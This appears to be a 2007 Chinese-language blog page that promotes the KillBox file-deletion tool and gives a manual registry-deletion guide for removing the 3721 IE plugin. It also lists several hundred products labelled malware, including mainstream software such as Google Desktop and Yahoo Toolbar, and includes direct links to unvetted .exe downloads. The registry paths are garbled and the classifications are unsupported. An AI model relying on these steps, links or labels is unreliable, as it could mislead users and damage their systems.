軟體名稱：KillBox 刪除檔案器
【KillBox 是國外反病毒論壇很受歡迎的工具軟體】
KillBox 實質是一個刪除任意檔案的利器，它不管這個檔案是EXE還是DLL等其它檔案，也不管這個檔案是正在執行中，還是被系統調用了，KillBox 都可以簡單幾步就將檔案刪除。
正因如此，KillBox 在反病毒方面使用非常之棒。現時流行類病毒（蠕蟲、木馬）很多均為單獨的病毒檔案，與系統無關，可以安全刪除此類病毒檔案。但在刪除過程，由於病毒的狡滑，總是很難刪除，這連國際知名安全軟體產商也推薦在安全模式殺毒。
有了 KillBox ，一切變得簡單多了，首先確認了這是病毒的檔案，再填上病毒檔案的完整路徑，或通過瀏覽選取此病毒檔案，按程式裡的那個X圖示(並不是右上角的那個喔~)就行了（某些病毒可能需要重啟電腦）。
下載點 (1) http://tokyo.cool.ne.jp/tw0416/KillBox.exe
(2) http://www.badongo.com/file/3420415

3721網路實名解決方法

2007-08-22T01:44:00.003-07:00

近來瀏覽大陸網站的常見問題，未來，此類的程式可能會層出不窮，請各位讀者小心。
首先，這種程式並不是「病毒」，只是很像病毒的形式而已。這個被稱為「3721網路實名」的程式，會在你瀏覽一些入口網站時，不知不覺地被安裝上去。這屬於支援IE瀏覽器的外掛程式，主要是「3721網路實名」開發的，主要的目的是提供入口網站更多的功能。雖然這些入口網站和3721公司是本著商業行為的標準形式，但片面地為用戶安裝這個外掛程式就有點不道德了！3721其實就象一個114查號臺，或者象一個全國都在廣泛使用的電話號碼本，實際上是把黃頁、搜索引擎和軟體這三種技術結合到一起，提供了一個讓企業客戶迅速找到企業的快速通道，它類似病毒的行為，主要是它一開機就自動啟動，為IE增加一些功能，但偶爾會使系統運行時，產生不穩定的情況，連帶著影響到上網的速度。有時候關機時會出現「explorer.exe」錯誤的浮現視窗。另外，電腦每次重新開機時，有機會會出現「載入C：windowsdownlo~1cnsmin.dll時錯誤，系統找不到指定的檔案。」

最大的問題就是這個「3721網路實名」，由於程式特殊設計的關係，它是完全沒有移除功能的！有興趣的讀者，這裏執筆人給你看看它的程式原始碼，看得出來它不是木馬程式和病毒，但是只要透過msconfig關閉功能，或是更動regstry都沒有用，會自動「變身」，換個名字繼續啟動，所以永遠刪除不掉！

‧ 怎麼樣知道自己有沒有「中標」？

1.使用「msconfig」系統組態管理工具，關閉「jkhajkd.exe」類似的程式，重開機之後，它又會以另外一個名字出現。

2.只要啟動IE後，選擇工具選項後，在「進階」設定裡看到這個選項，就知道你「中標了」。即使你把這些功能的選項打勾都取消也沒用。

3.IE工具列上莫名奇妙多了一些(上網助手)的按鈕。

1.預防3721網路實名(上網助手)軟件
下載:http://web.umr.edu/~chiuy/anti3721etc.exe
2.刪除3721網路實名(上網助手)軟件
下載:http://home.pchome.com.tw/my/u7501150/3721.exe

3.手動移除方法

這個網頁程式的有趣之處，就是當你連結到包含此程式碼的網頁，它會自動使用「Rundll32.exe」連結程式庫，此時系統是無法終止 Rundll32.exe執行，因為這是系統重要的執行程序。因此，要刪除它，一定得重新啟動電腦，一直按下＜CTRL＞，選擇進入安全模式「SAFEMODE」才可以。

●詳細的方法如下：

1、進入安全模式後，使用regedit這個指令，修改windows系統的regedit，唯有這個方法可以移除網絡實名的程式。

2、首先先進入以下的機碼字串，「HKEY_LOCAL_MACHINESOFTWAREMicrosoftWin@@@@@02-14in.dll,Rundll32」
3、接著，移動到「HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternetExplorerAdvancedOptions」這一串值，將目錄「!CNS 」刪除掉，它是讓Internet選項中的進階設定頁有「3721網絡實名」的選項。
4、再來，分別進入「HKEY_LOCAL_MACHINESOFTWARE3721」與「HKEY_CURRENT_USERSoftware3721」，將整個目錄「3721」刪除。
5、另外，「HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain」下有關「CNS」的值都要刪除，這邊給讀者一個方便的作法，就是用這個程式的尋找功能，將所有有關「CNS」的值都刪除掉。
6、在刪除完註冊表中的數值之後，還需要刪除存儲在硬碟中的3721網絡實名檔案，最簡單的方式，也是利用搜尋的方式，將所有在C:WINNTDOWNLO~1 或 C:WINDOWSDOWNLO~1 下包含「cns」的檔案都刪除掉。
只要你在安全模式下把這些檔案和註冊值都清除，那麼重新啟動電腦，進入正常模式後，就不會有「3721」網絡實名再來煩你了。

500多個惡意軟體名單和網站名稱

2007-08-22T01:44:00.001-07:00

ab365實用網址
ACCOONA 工具欄
AccoonaSearchAssistant
ACCOONA工具欄
ADDeliverer
Adlove818廣告彈窗
ADNavihepler(女生宿舍)
ADO廣告插件
ADSL優化大師1.0
AdvSC32廣告插件
Alexa工具條
Alibaba商機直通車
Aliedit
Alsmt
baigoo百狗搜索
BaisoLoader
BaomaoToolbar
BestToolbars
BitComet搜索條Browsemzero
BrowserHelper Classe
BtSerach&VVN廣告
Bysoo 百搜工具條
BysooTB
Bysoo百搜工具條
Bysoo工具欄
ClockSync
CNIC中文上網
Cnnic無憂上網工具條
CNNIC中文上網導航
CnsMin聯眾世界(捆綁卸載)
CoolSign
CopySo拷貝搜
CpapView廣告插件
CyAdware
Deskipn桌面傳媒
DiggToolbar
DIY彩秀
Dmad互動娛樂平台_is1
DMCast桌面傳媒
DMCast桌面傳媒/IEBAR
DmPlay彈廣告軟體
DoDoorRss
DTservice
DTSVC
Dudu下載加速器
DxkrFiledownload
EastBox音樂之王
EbayDay工具條
EbayShop
eBay 易趣工具條EliteBar
enternet.exe廣告軟體
EPSONWebPrinterSelfTestControlClass
estAlive
ET網路視頻電話
EyeOn IE class
Flashbar_Classic
Funcwin
GoogleDesktop
GoogleTalk
Google網路加速器
Google新工具條Gotel網路電話
Hao123
HarrySou ToolBar(哈利引擎)
hbhelper(酷客娛樂平台)
hbToolsOutlookTools
Hotbar工具條
Hupoo
HyperBar
iBar工具條
IEbar2
IEBAR桌面傳媒
IEHlprObj
IELORER木馬
ieress.dll惡意插件
IE伴郎
IE修復專家ikankan
iMop_is1
Infofo珊瑚蟲工具欄
InsII
InsII&III
ipprotect
Is88
ISC廣告插件
iShare
iShareMMSSender
Jekr工具條
Jisooo
K12控件包
K65
KincentQ
KooWo
KuGoo(酷狗)EbayShop
Kuhoapplication(酷猴)
Kuro(酷樂)
letscool
LightFrame3IECOM
Looked
lsass 木馬
Man彈窗廣告
MCQ
Media Access廣告軟體
MediaResource
miphone小蜜蜂
MMSassist彩信與Winstdup
MSIbm
Mskey32
MSN搜索工具條
Msq木馬
MSser
MSService
MyIEHelper
MyIEtoolbar
MyRXJH
Mysee2_在線電視
My網蜜天天搜索
navangel也是流氓軟體
NavExcel Adware
Nav網路導航
NB46工具條
NBBho
NetAccelerate惡意插件
Netbus
NetbusToolbar
NetFish網路釣魚克星
New
New.net
NTService廣告
p8數位娛樂傳播平台
PcastP2P流媒體控件
POCO安裝程式
POCO在線雜誌播放插件_is1
PopupBlockerPro7.0.5
POTU周博通資訊閱讀器
PPLive電視
PPRich
ppStream
PP點點通搶佔器
pubwinep客戶端捆綁百度搜霸和一搜
qqedit
QQplugin
QQ表情
QQ珊瑚蟲　一連帶三個
QQ堂
QTV免費網路電影
quartz32
Rich Media
RichMeida
RooGoo”（人狗搜索），也叫“通用搜索
Router Layer
Rox&DTS廣告
SCIA
SeAD/DmAD
SearchNet
SearchNet(中搜地址欄搜索)
seotoolbar
ShareHelper
sinasearch新浪IE通
SmartNet
Sogou_VOD_在線電視
Sol099
SopCast
Sosobar搜搜工具條
Sougood娛樂之王
spoolsv遨迅
surfaccuracy
syscast
systems
systemswincup
T2BHO
TargetAD
Themeadp
Toolbar888
Trojan.Clciker.Bhoiea
TT33定向搜索
TuTu下載
TVUPlayer
U88財富快車工具條
Update2
UpdateService
UrlCom
VerysoToolbar
VGO播吧
VisionCommunicate彩信
VP視頻聊天客戶端控件
vvsetup
web3000
WebACC
webacc插件
WebMisc
Webwork
WinCtlAd
wincup
WinDirect2.0
windows adtools
WinSC廣告插件
WinStdup
winsurvey(MSIBM)
WinWrCup
Wowo
Wshcon
wz101
XBar
Xbar圖鈴隨E下
xintv
lus
Yahoo!DesktopSearch
Yahoo!Toolbar
Yahoo!雅虎通
Yahoo助手(原3721)
Yayad
Yayad廣告
Yoday
YOK超級搜索
YOK工具條
YOK廣告插件攔截
ZCOM暴風娛樂
ZCOM電子雜誌
ZCOM娛樂平台
ZDAWebMisc天網廣告軟體
阿彬搜索工具條
阿達連連看
阿哈工具條
阿里巴巴貿易通
阿秀搜索工具條
愛美思中文郵址
傲訊輔助瀏覽器
八樂音樂
百度超級搜霸
百度上網伴侶
百度搜索伴侶
百度下吧_is1
百度硬碟搜索2.3
百易漢字域名
棒小秘書
寶酷（BaoCue）2.20
暴風圖鈴通
比鄰下載
玻璃屋
播霸/貓眼網路電視迷你版
播霸PodcastbarMini
播霸貓眼網路電視迷你版
博採網摘
補上:roogoo通用搜索
彩信通
彩信助手
彩秀
彩炫圖鈴
藏鯨閣
超級播霸
超級劃詞搜索
超級蜜蜂
陳橋五筆，捆綁的是百度搜霸
初收穫工具條
楚天音樂網
詞霸豆豆
大多數網站有麟潤網路廣告，就算用TT也無法屏蔽。
典酷****
電鷹搜索
電影寶貝
電影新地
東海潮網路
動感下載地帶
嘟嘟加速器
短信狂人
多多QQ表情
多多視頻
番茄花園，捆綁易趣
訪問加速
飛翔網路媒體播放器
沸點網路電視
分類GG
風雷影音搜索
個最惡意的中文網站，千萬不要試
購物搜索
股票投資智慧網站********
股市指南針
廣東互聯星空CertInstallControl
廣告攔截專家
桂林寬頻
哈利引擎
漢化新世紀
浩方對戰平台
浩方對戰平台（雅虎助手.劃詞搜索.3721還有幾個沒見過的
很棒客戶端
很棒通行證
很棒小秘書
紅與黑駭客********
紅與黑駭客基地
宏傑工具之文件夾密1098
宏網超級搜霸
虎翼DIY吧
劃詞搜索
灰鴿子
灰色天空
貨比多家
機器貓大結局
雞毛信
激動在線影院:
極品數字網路電視
簡單遊
金貝殼網路電視
金盒子MultiUpload
金山安全助手
金山產品下載器
九尋音樂音樂搜索伴侶軟體1
九贏網路廣告聯盟
開山網路電視王
開心運程速遞插件
看天下新聞資訊瀏覽器
空中網彩信通
酷寶
酷猴
酷猴寬頻
酷客娛樂平台
酷熱影音
酷站導航
酷站工具條
酷桌面
快so2
快搜
快搜
藍天語音視頻插件7.0
藍天語音視頻聊天室插件
樂霸
蓮塘語音
聯媒直投
流星網路電視
落雪下載器
麥秀MsToolbar
貓眼網路電視
貓仔隊
每步直達網址
美達網路電視
美女寫真網
美萍MP3音樂搜索專家
迷你PP
迷你迅雷
免費電影專家
魔幻盒子安裝程式
你來我網
女生宿舍
碰碰網
屁屁狗2.0正式版
錢龍網
親親娛樂伴侶
青年在線
青娛樂
青娛樂軟體
全國報紙天天免費讀
全新QQ表情伴侶5.2
人人商務網
人人網摘
日月精華
如意搜
塞我網CyworldChina
閃電搜霸Flashbar閃電郵件直通車
上網導航條2.6
設計中國工具條
實用網址導航(酷站導航)
使用搜索
世紀軟體園
世界網路工具條
視野工具條
水晶搜索
私人磁碟
搜狗
搜狗直通車
搜狐靈狐通
搜狐遊戲也是流氓
搜搜soso工具欄
搜搜工具條(SOSO)
搜一搜
搜易財富火箭
搜易網彈出廣告
搜悠工具條
太極天下搜索
淘寶網
淘寶旺旺
騰訊TT瀏覽器
騰訊極速下載控件
網易泡泡快速下載工具
網易搜霸
網遊天使自助遠程掛機平台
網址極限
唯刊Vika閱讀器
文件夾保護2006
廈新電子
小蜜蜂
新WinStudup
新版Alexa工具條
新版DuDu下載加速器
新版網路豬
新釣魚克星（netfish）1.28
新華快信
新劃詞搜索
新疆旅遊網
新浪IE通
新浪iGame遊戲大廳
新浪iGAME遊戲總動園
新浪UC2006世界杯版
新浪vivi收藏夾
新浪點點通
新浪了了吧
新浪搜索條
新網路豬
新雅虎助手
新桌面媒體
星辰娛樂在線
幸福生活
虛擬光碟機DAEMONTools捆綁廣告插件
炫彩圖鈴DIY
迅彩圖鈴通
雅虎360搜
雅虎助手
亞洲美圖
亞洲美圖聯盟
夜傾情
一搜工具條
億多多
易虎
易捷電子雜誌
易趣工具欄
易趣購物
易趣購物2006
易趣購物按鈕
易趣購物工具條
易趣小精靈
易搜搜索引擎
易玩通娛樂平台
音標[時尚搜索]
贏政天下網摘
影視經典
勇芳QQ遊戲記牌器也有捆綁
幽幽桌面網
悠視影音播放器(UUPlayer)_is1
娛樂明星網,
娛樂心空
娛樂助手
玉女山莊
豫通互聯互通網關電信版2.0
豫通互聯互通網關網通版2.0
緣分天空
直達網址
中國電信的星空互聯
中國共享軟體嵌入式廣告
中國花網
中國商務呼叫中心
中國通
中搜IG客戶端
中搜地址欄搜索
中網媒體速遞
桌面傳媒
桌面傳媒(Desktopmedia)
桌面酷
自由鳥工作室
自由行中文域名
左看在線
008文件分割合併器
0769cnToolBar
1000e
123工具條
139LOVE
159搜索工具條
159通用搜索
17key.net Winkld
17lele網遊
31G上網直通車
360搜
3721上網助手
3721搜索助手
3721網路實名
3721下載專家
50精品網
51888彩信助手
5460ToolBar
5566上網修復
5kee(Do55)
668企業通道工具欄
77250搜索助理
7BCOM
8848購物搜索
8888插件
88data桌面搜索
88DogWinKalendar工具條
88Vod插件
A9Toolbar
天鋒影視娛樂平台_Ver.20040416
天氣預報
天天搜索/My網蜜
天天在線
天網廣告
天網搜索
天下搜
鐵通REDVIP網路電話
通視超級衛星網路電視
同花順工具條
哇靠網
哇哇資訊精靈
完美解碼多語言版
完美網譯通
萬國免費網路影院
萬能五筆.捆的COPY搜
萬象網管捆綁了中文上網和一搜工具條。
萬眾閱讀器
網際快車1.73(太平洋下的）IEbar
網際狂搜Ver3.1專業版
網路釣魚克星
網路精靈NetFairy2004
網路實名
網路豬
網眼天下WebEye
網譯通
網易SMSPpinstallControl
Yahoo
Msn
google
ebay
sina
的toolbar 都有 spyware
天下真的冇Free Lunch
彈出廣告
或張收到的email
1毫子一個賣出去
一個月有都有過100000元